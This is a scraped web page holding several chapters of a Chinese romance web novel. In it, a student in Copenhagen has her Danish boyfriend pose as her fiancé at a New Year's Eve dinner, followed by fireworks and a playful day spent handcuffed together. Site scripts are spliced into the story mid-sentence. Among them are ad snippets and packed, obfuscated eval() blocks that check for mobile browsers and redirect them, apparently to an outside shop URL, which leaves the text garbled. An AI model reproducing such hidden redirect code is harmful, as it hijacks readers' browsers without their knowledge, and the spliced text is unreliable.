他是一个完全不会中文的丹麦人,去年九月去学校拍摄时认识了她,两人相处了几个月在一起,现在已经恋爱一年多了,感情稳定,认定彼此,决定结婚,已在商讨相关事宜。 因为人设是不会中文,所以晚上他在餐桌上不用讲话,不能讲话,除非有人跟他说英语。同时,也要做好表情管理,像个什么都听不懂的人。 听罢,安宴的沉默震耳欲聋,合着他就是过去当个人形立牌。 但是也好,至少这个立牌上,写着“龙秉月未婚夫”。 “可以吗?”龙秉月紧张地看着他的眼睛。 “当然没问题。你怎么又预设我可能会拒绝?”他只是不太喜欢 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “假扮”这个词,“对餐厅有什么要求吗?” 龙秉月自动忽略第一个问题,思考起来第二个:“嗯……欧洲菜,最好有米其林或者近几年‘世界50佳’的荣誉加持,贵一点的。” “贵一点?这么大方?”安宴这下才是真的吃醋了。说再多无所谓不在乎,行动上还是把人家当成贵客,这么努力地尽地主之谊。 一顿饭六个人,符合她要求的这些餐厅都要五位数往上,至少得花她一个月的实习工资。 怎么不干脆去吃中餐,城里那几家有名的中餐厅,在本地都属于物美价廉的类型。 龙秉月自然猜到了他的心思,笑着解答:“他们付钱,我们去蹭饭,必须要狠狠讹一顿。” “你要知道,有些中国男人,是无论如何绝对都要买单的,好凸显自己的地位和慷慨。他们把这看得比主客关系重要。今晚刚好有两个这样的男人。” 安宴稍稍沉思,又提出新的问题:“那我的演员费用怎么结?这顿饭不算,只能算帮你们订位的报酬。” “你之前演戏的薪水是多少?”龙秉月纯粹是顺着他的话好奇一下,没打算出一分钱。 欧洲的演员收入没中国那么夸张,况且他只是作为同剧组摄影师友情出演配角,一不专业二没名气,应该不会多高吧。 安宴在她耳朵边说了个数字。 好吧,果然还是小看了,真不是她这个穷学生能出得起的,幸好她也不打算出。 她会做的,不过是俗套的“以身相许”戏码。亲一亲安宴,问他:“回来这样结算好不好?” 这正是他所期待的,也是意料之中的回答。 “奸商啊宝贝,你自己也享受到了,一点不亏。”安宴在她的提议上加码,“不过别等到‘回来’了,趁现在留下一些未婚夫的标记,可以演得更逼真。” 的确,脖子上的吻痕配合微肿的眼睛,一定让人对旖旎的前夜浮想联翩。对付思想传统的长辈,这招或许更有奇效。 龙秉月不禁赞叹起安宴的聪明机智。 两人刚好还在床上窝着,她便顺势掀开被子:“择时不如撞时,就现在,来吧,未婚夫。” 说是要留吻痕,安宴倒先吻上了她的唇。 索要够了报酬后,才缓缓下移到脖颈,到锁骨,一路留下深红的印记。 忽地,龙秉月感到胸口凉凉的——他在解她的睡衣扣子。 “干什么,你在露出来的地方种草莓就行了,下面外人又看不到,不需要!” 安宴狠嘬了几口后才抬头:“你不知道这东西就像冰山吗,露出来的只是冰山一角,下面肯定藏着更多。我们要做万全准备。” 真会扯啊,可她竟觉得很合理。关键是,他懂得她一切喜好,了解她身体每个部位,亲得好舒服。 龙秉月拿脚底蹭了蹭安宴的腰侧,是安抚也是要求:“那你快点,只准留吻痕,别想着干别的。我们时间有限,还得赶回哥本哈根做准备呢。” 安宴没答话,伸手固定住她乱动的脚,继续以舌为笔,作起红色海棠的写意画。 40. 第四十章 兢兢业业的“演员”索要完报酬,给“共演”上好“妆”,才想起来办正经事——订餐厅。 没有合适的场地,演戏的准备都白搭。 龙秉月要求高级餐厅,在欠人情前自然不能放弃自己努力,先按着榜单挨个浏览了官网。 结果不意外,跨年这种特殊日子,所有合适的餐厅都订满了。 况且,高级餐厅大多要提前订,她现在当天临时有需要,预定通道也已关闭。 最后还是不得不求助于安宴。 安宴仿佛早就做好了准备,云淡风轻地问:“米其林二星的大堂位和没星星的包间,二选一选哪个?” 哥本哈根很多高级餐厅并不设全包包厢,小部分有的,也是针对十人至几十人小型聚会的大包间。他们六个人,基本注定要坐大厅用餐。 眼下能有包间的选择,龙秉月当然很高兴。 但是,没摘星的米其林推荐餐厅,价格可就不好说了。二三星肯定是贵的,而其它的人均高能高到几千,低甚至能实惠到一两百。 “套餐价格差得多吗?” “平时差几倍,跨年特别菜单差得不多。” “订金差得多吗?” “没差。” “包间包间,当然要包间。” 没星星,少给李家一顿吹嘘的资本;有包间,吵起来也不至于让陌生人看笑话。一举两得。 安宴当着她的面打了个电话,没几句就搞定。 跨年夜提前三个月开放预订,早就被订空。但也正是因为开放太早,导致有一桌临时生出变故——一家人圣诞节跨越半个地球到太平洋小岛上度假,结果遭遇航班取消,赶不回来,刚好让他们捡上漏。 尘埃落定,龙秉月才问安宴订了哪家。安宴说是BGGH。 龙秉月上官网一看,好家伙,平日套餐600/人,跨年特别套餐3000/人,而且居然要全额预付?! “不是,我们是要宰他们一顿,你早说全额预付……” “没有付。”安宴打断她,“我打的不是一般预订电话,是找的熟人,所以可以不预付。” 哦,那就好,套餐加上配酒和服务费妥妥人均四五千,狠狠宰李家一顿。 这是注定要被毁心情的她应得的。 - 晚上七点,李家一行人卡点来到BGGH,见到了提前到这里等候的龙秉月和安宴。 跨年晚餐的最晚就餐时间是七点,他们订了最晚的时段,做足了准备—— 龙秉月身穿生日时安宴送她的云水蓝无袖旗袍,在室内搭配白色披肩。旗袍融合了西式风格,领口低,恰好露出新鲜的草莓印。 安宴配合她,穿了一身复古款的高定西装,没打领带,衬衣第一颗扣子解开,炫耀着同款草莓印。 卷发疏成背头,在发油作用下变得无比柔顺,侧面看过去北欧基因不显,更像个东亚人。 李家人进来时,看到的就是这一幕。对别人来说养眼的,对他们来说倒成了刺眼的。 单侧可坐五人的十人长桌上,这两个人紧靠在一起,就差要挤进一个座位。安宴扭头面向龙秉月,含情脉脉地看着她,嘴唇上有一抹谜样的红。 两人身后恰巧是一幅暗色调的油画,更衬托出风情。不知道的,还以为这里在拍什么民国世家少爷X大小姐主题的写真。 听闻来人的声音,龙秉月也没有推开安宴,一手还握着他的手,另一手招呼十三岁的弟弟李暮:“来,暮暮,坐姐姐旁边。” 然后才给另外三个成年人打招呼,甚至懒得站起来。 她挽着安宴的胳膊,靠在他的肩上甜甜地介绍:“这是我的未婚夫Jens。” 安宴谨记自己不懂中文的人设,只是保持微笑,轻轻点头,缓慢吐出一句发音不标准的“你、们、好。” 内心隐隐自嘲,终于不用和她藏着掖着,竟然是在假扮未婚夫的时候。 到底什么才是真,什么才是假呢。 从里到外,餐桌一侧是安宴、龙秉月、李暮,对面是李叔、李朝、李姨。 正对着安宴的李叔身体微微前倾,打量着他:“燕子?燕子是做什么的?”像是刻意念不对他的名字。 龙秉月假装没注意到,替他回答:“电影摄影师。” 李叔似乎不满又似乎很得意:“这职业赚不了大钱吧,还又累又忙,经常一进组几个月见不到面。” 龙秉月在无语下开始以扯攻扯:“摄影是艺术追求,人家能靠投资电影赚大钱啦。忙倒是不忙,每天都能陪我呢。” “不忙怎么能行呢,男人还是得注重事业,整天闲着像什么样!” “我自己够拼了,就需要找个顾家的,反正他的钱几辈子也花不完。” 李叔仗着安宴“听不懂”,继续挑三拣四,但都被龙秉月的脑洞成功化解。反正就是一个胡编乱造,往玛丽苏的方向。 最终,安宴的形象成了方方面面完美、爱她爱到死去活来又无敌宠她的超级富n代。 等上菜了,李叔又开始挑餐品的刺。看似是对食物不满,其实暗戳戳地表达伴侣和食物一样,外国的绝对不如本国的。 而且一副他说什么都对,不容置疑的超自信模样。 龙秉月印象里他虽然爹,但并没有这么无事不爹,一定是受到了她亲爹的指使,把俩人爹味加起来实现了1+1>2的效果。 幸好她提前给安宴打过预防针,幸好餐厅服务员是真的听不懂中文,也幸好有识时务的李姨和李朝帮忙把话题拉回正轨。 上午预订后,龙秉月在餐厅官网看过菜单提示,这一顿吃下来要花四个小时。 实际也确实如此。六道式配酒,加餐前和餐后小点,用餐结束已过十点。 应酬般的饭吃得累,时间在煎熬中变得愈发漫长。就在她以为终于可以结束的时候,李朝又点了两瓶酒。 喝上头的李叔说话更加口无遮拦,暗示也不暗示了,直冲着她说:“小龙啊,老公还是要找知根知底的,我儿子哪里不比你那个燕子强?!” 龙秉月实在忍不了了,不再以玩笑应对,正襟危坐道:“我只会和我爱的人在一起。我不喜欢李朝,李 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 朝也不喜欢我,你不要乱点鸳鸯谱了。” 原本还想客套地夸李朝两句,但他爸爸这个态度……算了,夸一句都会被当作她暗恋他。 她晃了晃左手,中指上不知何时多了一枚钻戒,坚定地说:“我会和Jens结婚,留在丹麦生活。” 演得一直很好的安宴这下没忍住看向了她,眼神晦暗不明。 龙秉月连珠炮似的继续说道:“我不知道我爸给你派了什么任务,但我劝你们趁早放弃。现在还能勉强和平相处,再这样下去就不一定了。” “你也看到了,我现在不是一个人,我的伴侣比你们都强大。” 眼神同样晦暗不明的还有李朝。他预测到局势即将升级,用英语邀请安宴一道出去抽根烟。两位“当事人”,还是避开的好。 安宴用眼神征求龙秉月的意见,她说你们去吧。又捏了捏安宴的手,让他放心。 刚走出包厢门,他听到里面传来一声:“我们打算情人节就领证。” - 李朝离开包间,不仅是为了给里面的人空间,也是为了提前买单。 他叫了包间的专属服务员出来,却被告知已经买过了。 “不是订金?是全都付过了?”他皱了皱眉,向服务员确认。 “先生,我们跨年套餐和平时不一样,都是100%预付的。另外你们单点的酒也都结过账了。” 李朝看向身后的安宴,对方一脸轻松,毫不意外的样子。 果然。 他知道龙秉月早就不拿家里的钱,留学又有打工限制,学的也不是赚钱的专业,怎么可能还是学生就这样豪掷千金请她不想见的人。 一定是这个男人出的钱,他倒是大方。 刚才他示意服务员跟着出来的时候,龙秉月对他坏笑了一下,可见她猜到了他要出来买单,有宰他一顿的心思。应当是不知道自己未婚夫出了钱。 有意思,买单却不为邀功。而且根本不知道他什么时候买的,身份应该的确不简单,龙秉月没有为他打肿脸充胖子。 两个男人沉默地抽完一支烟,李朝才开口确认:“你买的单?” 安宴看了他一眼,没说话,默认了。 他没嘱咐他别告诉龙秉月是他买的,他相信对方绝不会说他这个情敌的好话。 李朝默默点燃第二支,抽了一口,继而问出他真正想问的问题:“你真的爱她吗?” 他浮想联翩,不知怎么联想到了那种专盯富裕中国女生的“杀猪盘”爱情陷阱。 无论如何就是不愿相信,从小到大断情绝爱的龙秉月,一来丹麦就坠入爱河,对方还是如此光鲜亮丽的人设,恰巧也深爱她。梦女做梦都不会梦这么大的。 安宴用不着细想,就猜到这男的在想什么。 他微微眯起眼睛,散漫地轻嗤一声:“关你什么事。”方才在包间的礼貌表现全然不见。 随后,仿佛抽烟抽热了一般,动作自然地拉了拉领口,“不经意”露出更多的吻痕。 安宴目光狠戾,居高临下地对李朝说:“你死心吧。” 41. 第四十一章 十一点,漫长的晚餐结束。 先前李朝以抽烟为由出去了一趟,回来就跟变了个人似的,不知道受了什么刺激。 原本在他爸发表不当言论时,他只是礼貌扯开话题,现在改成当面喝止,直说他喝多了,该回去了。 氛围烘托到这里,正是散伙好时机。 李叔要买单,李朝制止道:“买过了。” 话明明是对他爸说的,目光却朝向龙秉月,一点假意买单意愿都没有的龙秉月。 她一时间有点不好意思,但转念一想,明摆着蹭饭又如何,这可是她的精神损失费,便又理直气壮起来。 出来到了餐厅门口,服务员已经帮他们叫好出租车。龙秉月把人送上车,嘱咐李朝:“你肯定还清醒吧?到酒店了记得发个消息。” “那你也记得及时看微信。” ? 这不明显的客套话吗,怎么还较真了。好像她不及时回复他的报平安消息,就会被他以为她不平安一样。 龙秉月没理他,使了下力,赶紧把出租车门关上了。 隔开她不属于的世界,寒冬的冷空气都变得舒爽起来。 “接下来想去哪里跨年?”那四人乘坐的车开远后,安宴问她。 下午他们从欧登塞回到哥本哈根的家里时,伊莎贝拉和安扬正在客厅看电视,主持人播报着今晚本地的各种跨年活动。 见到他们两个一起回来,她们的表情也毫无波澜,只在他们上楼前问了句:“你们晚上都准备怎么跨年呢?” 龙秉月说:“有朋友从国外来找我。” 安宴说:“和朋友有约了。” 听罢,伊莎贝拉美滋滋道:“孩子们都去见朋友,太好了,今晚和老公二人世界。” 傍晚他们两个又一起从家中离开,又碰到了伊莎贝拉,可她还是没有反应,好像他们同进同出再正常不过。 龙秉月心里很多问号,安宴的家人未免太钝感了吧? 她去欧登塞的时候佯称去本地的同学家,今天也是从同学家回来,而安宴是从外地工作回来。他们这都能偶遇到,还一起回来,竟然不被怀疑吗? 还是说,安宴的家人心态已经开放到,就算他俩当面接吻,也不会觉得他俩有一腿? 她在暴露的边缘反复试探的心,有点蠢蠢欲动了。 - 哥本哈根的跨年活动众多,下午龙秉月只来得及为晚餐做准备,没有去仔细了解。当下被安宴问到,也不太清楚都有什么选择。 只隐隐约约记得,似乎在电视里听到,好几处地点都有庆祝的烟花。 索性便说:“最近的烟花在哪里?去看烟花?” 距离新的一年只剩不到一小时了,确实没空犹豫来犹豫去,或者去远的地方。 “在市政厅广场。走吧。”安宴没有查任何攻略就秒答,依然是那个对哥本哈根了如指掌的人。 他牵起她的手,见她没有异议,便往市政厅的方向走去。 路上零星可见结伴的人,都朝着同一方向。再远一点,人更密集。 龙秉月用空着的另一只手打开地图,输入目的地。导航显示,步行距离不到1公里,步行时间10分钟。 她的步子慢了下来:“现在是不是有点早诶,过去了只能在拥挤的人群中站着等。” 而且视野好的位置肯定早就被占了,现在提前过去无甚必要。再说,他们只是去凑热闹。 “那怎么办,我们去找个没人的角落接吻?”安宴直白地提议。 眼下这个时间,该关门的都关门了,是没什么地方好去。他们也一天没有好好接吻了,就在傍晚等待的时候做了下样子,作为演戏的一环。 不能说是不尽兴,根本是饮鸩止渴。 但是,欧登塞被人打断的惊心动魄才没过去多久,龙秉月很谨慎。 “去你车上吧。” 两人又往回走,进到车里,更为宽敞的后座。 安宴低头正要吻下来,龙秉月伸出食指按住他的嘴唇:“先说好,现在亲够了,等下看烟花的时候你得让我好好看烟花。” 别再让她通过视频补看了。趣伏里烟花错过一次等一周,跨年烟花错过一次可得等一年。 “上次难道不是你先主动的?”安宴不服,一手托住她的头,一点一点往自己的方向带,试图帮她回忆初吻开始的细节。 龙秉月怎么可能忘记,才不需要他帮忙回忆。 “我只是想碰一下!谁知道你那么会……”会接吻,也会欲擒故纵。 “嗯。”安宴应下,靠近,言语复刻那一晚,“张嘴。” 吻到正上头之时,龙秉月的手机发出微信消息的提示音——应该是李朝他们回到酒店了,来给她报平安。 她轻轻推开安宴,从他的腿上下来:“稍等一下,我回个消息。” 解锁手机一看时间,以为没过多久,竟然只剩二十分钟就到零点了。看来没法“稍等一下”了。 和预料的不同,李朝发的内容不是报平安,而是: 【你这个未婚夫很不简单,你心思单纯,小心点别被他骗了。】 再往上,他们的上一条聊天记录,还是她刚来留学的时候,李朝问“你怎么去丹麦了?” 她没有回,之后他没再发过任何。 龙秉月皱起眉头,这人神经病吧,挑拨离间。就见过安宴一面,就开始说人家坏话。 作为认识多年的朋友,他不该祝福吗?难道她演技不够好? 还说她心思单纯?这更是不能忍,一个个都把她当成无法自主判断自主决策的小孩。 她又不想回复了,但还是按捺住烦躁,维持着东道主应有的礼仪,给李朝发了一个OK的表情。 然后又把手机锁屏,给安宴看锁屏上以更大图标显示的时间:“我们该过去了吧。” 安宴没动,酸溜溜地说:“回他消息比我重要。” 这是在吃什么莫名其妙的醋,她今晚的态度还不够明显吗…… 龙秉月无奈解释道:“只是想把旧年的事在旧年解决掉,不带进新年。” 但这醋显然有一大缸子,一时半会儿吃不完。 “你们两个好熟悉的样子,有种特别的氛围。” “我们都快两年没有任何联系了。” “那还能那么熟悉。” “看似熟悉,只是因为母语者说中文而已。我和喻琳更熟悉更特别啊,你上次接我们的时候怎么不吃醋。” “他喜欢你。” “不可能。他就是个无情的工作机器,只喜欢事业,喜欢钱,人顶多算小三小四。他不排斥家里安排的婚姻,也只是因为那对事业有助力。” 安宴笑了:“他在你面前倒是会装。” 安宴也只见过李朝一面,也开始说他的坏话,龙秉月深刻体会到什么叫双标。她一点不觉得安宴神经病,在挑拨离间,反而表现出支持安宴的样子。 “那就当他喜欢我吧,可我又管不了他,也不屑于管。毕竟和我一起跨年的人不是他。” 随着安宴脸上的醋色变淡,龙秉月朝车门扬了扬头,示意他该走了。 她打开车门出去,安宴从另一侧下车,却没有着急绕过来,隔着车身问她:“那情人节跟你领证的人呢?” 咦,他听到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13931107|143709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊。但不是早就说好了吗,全是演的。 这下好了,需要当真的人不相信她,演员自己反而入戏了! 龙秉月简直要吐血,才安抚完吃醋的人,就要面对自己的口出狂言——他这时候提起来是什么意思,肯定或否定回答都不太对,她有点骑虎难下。 最近才稍稍踏出没几步,现实就不断提醒她:恋爱只是两个人的事时最舒适,一旦涉及他人就变得复杂。 她蠢蠢欲动的心又要收回去了。 “领证什么的,只是台词啊。”龙秉月走到安宴身边,拉着他朝市政厅走。再不出发,就要赶不上零点了。 “那你给他们说的‘对的人一眼就能确认他对,不对的人认识再久也没感觉’也是台词?” 因为人设是不懂中文,安宴完全不需要说话,不用想着怎么回应,反而能把她的每句话都记得更清楚。 不仅记着,还在心里分析来分析去,结果现在说都是台词? 没关系,分析剧本嘛,他的专业领域。 “是台词,也是我的真实想法。” “你说你要留在丹麦,也是台词?” “这我无法预料,走一步看一步吧,反正还有半年才毕业。” 其实龙秉月是坚定回国党,只是不知道该怎么说。 要安宴和她一起去中国发展吗?她开不了这个口。 在哥本哈根找工作然后留下来吗?唯一动力只会是爱情,可她不愿当恋爱脑。 毕业即分手吗?她自然也不想。 任何跨国恋都要面对的难题,她会好好面对的。但她希望面对的时间晚一点,把无忧无虑尽情享受的时间延长一点。 尤其现在她刚让安宴陪自己演过戏,更是需要优先考虑他的感受。 为了让自己的立场更加真实可信,龙秉月说:“亚洲人在这里找工作并不容易,特别是不具备丹麦语能力又没有全职工作经验的人。” 安宴信了。他想,她能坦然承认“领证”是台词,当然不会对去留问题遮遮掩掩。 近年找工作难是事实,但她不是还有他吗? 继续挨个确认完在意的地方,他又问:“你这些所谓的台词,这次应付了他们,以后怎么办?听起来像是只能解决一时。” “我的目的不是解决,而是想气他们,谁让他们自己上来找气受。况且不需要解决,我的人生在我手里。” 人生掌握在自己手里——多么常见的把抽象概念的人生赋予实体的修辞。 龙秉月脱口而出,没意识到此刻她的手里,是安宴的手。 从停车的地方走了没多久,前方乌压压的人群就在告诉他们:市政厅广场到了。 身旁的人从稀稀落落到密密麻麻,涉及隐私的对话不再合适。 不夸张地说,这是龙秉月来哥本哈根的一年半里,第一次见这么多人聚集在一起,仿佛倾城出动。 身后仍有更多人在不断赶来。很快,她站在最外侧欣赏烟花的愿望就破灭了,外侧不断变成里侧,一层层的人裹上来,滚雪球一般越滚越大。 安宴护在她身边,没有太亲密的动作。遂了她的心意,让她待会能专心看烟花。 而在零点到来的前一秒,他紧紧抱住了她。 “你知道丹麦人的跨年习俗吗?我们会在零点的时候‘跳’进新年的怀抱。跳进怀抱的可以是任何高于地面的物体,比如桌子、椅子,当然也可以是人。这么做是为了避免踏入新旧年之间的空隙。” 烟花在远处的夜空中不断绽开,湿润的声音也在耳畔荡漾开。 “新年第一天要不要试一试,挑战一整天都没有空隙?” 42. 第四十二章 哥本哈根的跨年烟花,在造型上并没有什么特别之处,人们聚集在这里,主要是为了跨年的氛围。 其中不乏一个人来的,或许内心还存着零点时分拥抱身边落单人的想法。 所以安宴赶在零点到来之前,抢先抱住了龙秉月,不给任何人觊觎的机会。可惜怀中人的心思显然不在此。 她专心致志地看着烟花,分心听他讲话后也只是发出应付似的“嗯嗯啊啊”。 又一年过去,即使是在爱人的怀抱里,龙秉月也难免感时伤逝一番。 去年大部分日子里,她都希望时间过得快一些。而当去年真的过去,才过去不到一分钟,她就又开始怀念了。 但无论对待的时间的态度如何,此时此刻她都是真正的快乐,为当下的节庆,为这么多人共同相聚在此地。 模样如此平凡的烟花,被赋予跨年的意义后,一下子变得耀眼起来。 等到最后一朵烟花也从空中落下,人潮开始散去,夹杂在中间只得踱着小碎步的人,才重新思考起刚才听到的问话。 “没有空隙?”龙秉月把两人牵着的手抬高到眼前,“这样算吗?” “当然算。” “这也能叫作‘挑战’吗?”根本毫无难度可言啊。不就是整天黏糊在一起,他们虽然最近聚少离多,但聚的时候基本都是这样子吧。 大概安宴只是顺着新年习俗随口一骚,她想。 “怎么样,要挑战吗?”安宴还没放弃。 “既然是挑战的话,成功了有什么奖品吗?” “五月带你去戛纳?” 此话一出,龙秉月的直接反应是“啊?”了一声。 她当然不会觉得这是影迷朝圣之旅,是纯粹去看电影的;更不会觉得安宴想去走红毯,带她也蹭一下。 基本可以确定,安宴的意思是,他们才杀青的电影剑指戛纳。可是这个时间,恐怕后期剪辑制作都还没开始,就这么自信能入围戛纳电影节? 别说入围了,三月截止报名,来得及做完后期吗? 龙秉月顾不上什么挑战不挑战了,问起来这些她关心的问题。 安宴没有直接回答,而是反问她:“你当初申请哥大的时候,觉得自己被录取的概率有多少?” 呃……说100%是不是显得太装了?在她思考什么数字比较合适的时候,脸上的表情已经替她做出了回答。 她也明白了安宴的潜台词。 “好吧,那就挑战。”龙秉月没有拒绝的必要,反正她也不会有什么损失,“你到时候可不要拿不出奖品哦。” 安宴没有说如果挑战失败,她要付出怎样的代价。显然,他不觉得会失败。 - 回去之后,龙秉月才明白,这件事值得被称为挑战的点在哪里。 ——安宴从衣帽间拿出了一副道具手铐。它和之前的剧组道具长得不一样,应该是他新买的,专门买的。 不是,上瘾了吗,上次手腕还不够疼?他不会有受虐倾向吧?龙秉月惊讶。 更让她惊讶的是,进屋里才脱了外套,安宴就把他的右手和她的左手铐在一起了。 “那么挑战开始,到今天夜里24点解开。” 龙秉月无语:“那等会儿要怎么脱衣服洗澡,然后再换睡衣?在外面一天了,总不能脏着上床睡觉吧。” 安宴的表情凝固住了,似乎他忘了这茬。 一阵短暂的沉默后,他承认自己心急了,不甘地解开手铐并改了规则:“那就从一小时后再开始,25小时后完成挑战。” 旋即又补充,“但是接下来一小时也要没有空隙,哪怕没有约束。” “……我看你就是故意的!” 本来今天已经过去一小时了,再过23小时就完成挑战。现在这样,等于平白无故加了两小时。 但龙秉月还是同意了。斗嘴或“挑战”,反正都是情趣。 一般来说,泡澡比淋浴时间长,可以更多地消耗掉今天的时间,减少手腕受罪的时间。龙秉月便拉着安宴躺进了浴缸。 这一天过于劳累,早起加上来回奔波,她几乎耗尽力气。安宴没有折腾她,两人只是安安静静地泡澡,舒缓疲劳,放松身心。 放松过头了,泡着泡着,龙秉月睡着了。 等再醒来的时候,她已经身穿睡衣躺在了柔软的大床上,头发早就被人吹干。 房间里一片漆黑,不知时间是几点。 她试着动了动左手,果然,安宴不会忘记,也不会因为她睡着了就放弃。 她在黑暗中轻轻笑了一声,睡意立马又笼罩了她。 - 第二天,如安宴所料,李朝又打来了电话。 他和龙秉月的手还绑在一起,所以她手机里传出来的声音,他听得清清楚楚。 这人实在有毛病,新年第一天大早上扰人清梦,让龙秉月带他们游玩哥本哈根,跟个巨婴似的要人照顾。 龙秉月也很无奈,她看了一眼安宴,直接把手机递给他,示意他来拒绝。 他正好乐意当这个“坏人”:“不好意思,我老婆今天没空,明天也没空,永远都没空。”然后直接挂断。 准备顺手拉黑之前,征求了一下当事人的许可:“他懂不懂基本的社交礼仪,单独约有夫之妇算什么……你的黑名单说它饿了,我帮你喂一喂?” 龙秉月被安宴的话逗乐了,但终究还顾及着相识多年的情谊:“算了,等他下次再烦我的时候再拉黑吧。” 拉黑的事可大可小。情谊固然需要顾及,伴侣的情绪也得照顾。 李朝是轻松对付过去了,而新年第一天的“打扰”还没完。 两人并肩洗漱完出来后,安宴的卧室门极其罕见地被敲响了。 龙秉月躲在门后,安宴打开一点门缝,只露出左侧一小部分身体,问来人:“什么事?” “什么事?新年第一天的家庭出游传统,你忘了吗?!”伊莎贝拉嗔怪道。 “……抱歉,剧组今天要开线上会议。后期赶进度,你知道的。”安宴撒谎不眨眼。 “算了,不指望你,我去叫小月一起。” 伊莎贝拉转身就要去敲对面的门,被安宴叫住了:“她不在。” “咦,你怎么知道得这么清楚?你好关心她。”伊莎贝拉的八卦语气,让紧张地贴着门的龙秉月胆战心惊。 她本来还在恶作剧般地挠着安宴的手,这下一动不敢动了,全部注意力都集中在聆听伊莎贝拉的反应上面。 “刚好看到她出去。”安宴淡定地回,“她昨天也说了,有人从国外来找她。那些人烦得很。” 伊莎贝拉张张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13949149|143709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘴,还没说出表示遗憾的话,安宴又继续道:“不过你说得没错,我就是很关心她,最关心她。” 龙秉月自由着的右手开始疯狂掐他,然而说出口的话,覆水难收。 “我就知道你居心不良!”伊莎贝拉激动地抬高了声音,叽哩哇啦地输出了一堆话,把整条走廊的空气都填满。 又夸安宴眼光好,又怪安宴不早说,又问安宴接下来打算怎么办。 安宴一脸享受地听完这些话,才不舍地结束了对话。 关上门前,伊莎贝拉的最后一句话传了进来,好像总算想起她上楼敲门的目的:“那我们三个就出门了,要晚上十点后才回来。” 事情朝着奇怪的方向发展了。 “你演戏演上瘾了吗?”确信伊莎贝拉已经下楼后,龙秉月惊呼道。 演未婚夫没过够戏瘾,开始扮演暗恋者或追求者了。 安宴一副玩心大发的样子:“不是挺好的吗,谈一个对象,可以得到多个不同角色。” “……” 人家情侣间的角色扮演都是“老师X学生”“医生X护士”之类的,在彼此面前演;他们倒好,在不同外人前演不同身份,将来穿帮了就好玩了。 “以后他们看到我和你一起,只会朝着这一个方向想,这样你就不用有顾虑了。”安宴又认真解释起自己的动机。 听起来是挺有道理的,就是太突然了,让龙秉月猝不及防。 “那你要是一直没追上,他们会怎么看?” “多正常,你这么优秀,看不上我也不奇怪。” 什么好话都让他说完了。 商量着什么时候让他“追上”的问题,龙秉月想,他根本完全一点丝毫也没追过啊!稀里糊涂地就在一起了,没有遵循任何一种常见的流程。 这种说不清道不明的模式一直延续到现在,留下各种破绽,却总能逢凶化吉,有惊无险。 - 除了上午的两个插曲外,元旦是相当安逸的一天。 家里一整天都没人,龙秉月和安宴“没有空隙”的挑战进行得格外顺利。原本打算在卧室随便解决一日三餐,现在也可以下楼去厨房做点好的。 他们甚至还去院子里坐了坐,散了散步,好不自在。 一直到家人即将回来的十点,才回到只属于两个人的小天地。 “再过几个小时就要开锁了。” “嗯。” “最后玩点不一样的?” “你又忘了吗,戴着这东西脱不掉衣服的。” “穿着上衣也没关系吧?” 龙秉月喜欢拆礼物。一层一层的包装剥离下来,一点一点地体会到惊喜,心情不断升温。 人总是乐意收礼物的,收过再多份,也依然想要得到新的。不管是以前拥有过的同款礼物,还是尚未见过的全新礼物。 这一次,安宴告诉她,礼物的包装也是礼物的一部分,包装中也含有送礼人的心意。 她没再急切拆开,对着完整的礼物,细细体会丝带和包装纸的质感。在它们之下,硬质包装盒更是彰显着自己的存在。 不单单是包装,连带着拆开或不拆开的体验过程,都是礼物的一部分。 最重要的是,无论如何,礼物就在那里,早晚都是她的。送给了她,就不会再给别人了。 43. 第四十三章 新的一年,对龙秉月来说,并没有“新”在哪里。 一切照旧,时间好像过得更快了。 有人说,主观感受上的时间越来越快,是因为随着年岁增长,每一天在人生中占据的比例不断减少,从而带来时间变快的错觉。 龙秉月觉得,她的时间变快是因为日子变得单调。 元旦过后没几天就开学了,仍然是冬季学期,一学年中的上学期。 但因为课程已在十二月结束,一月中旬要提交的课程论文她也早已完成,所以对她来说,这个月和假期并无二致。 二月开始的春季学期,她硕士生涯的最后一个学期,也不再有课程,唯一任务是撰写毕业论文。 如此一来,直到六月正式毕业的上半年,她的日程都空空如也,每天坐在电脑前,查查资料打打字。 皇家图书馆的实习工作仍在进行,不坐班的日子里,每天要做的事同样是查查资料打打字。 每一天和其它天没多大不同,一天像所有天,所有天都像同一天,时间就这样坍缩了——像海绵,挤一挤就缩了。 挤出来的水滴在日期上,把日期都变模糊。 当然,与此同时,龙秉月一直未曾停止教伊莎贝拉中文。不过伊莎贝拉进步神速,学得越来越轻松,她教得也越来越轻松。 只是上次差点被撞破后,她就觉得伊莎贝拉看她的眼神不对劲起来。 一定不是她多想,可是伊莎贝拉怎么只有眼神变了,嘴上一点不八卦呢? 她在她儿子家白吃白住,出门经常花他儿子的钱,给她当家教领她儿子发的工资……她就毫无意见和看法吗? 这一天,龙秉月的家教内容有中文里的亲戚称谓。 不同于英语里的cousin、aunt、uncle等词,一个词可以指代多种亲戚,亲戚的叫法在中文里细致得多,甚至不少中国人都难以分清。 而如今,随着同性伴侣越来越常见,称谓的数量又翻了一倍。 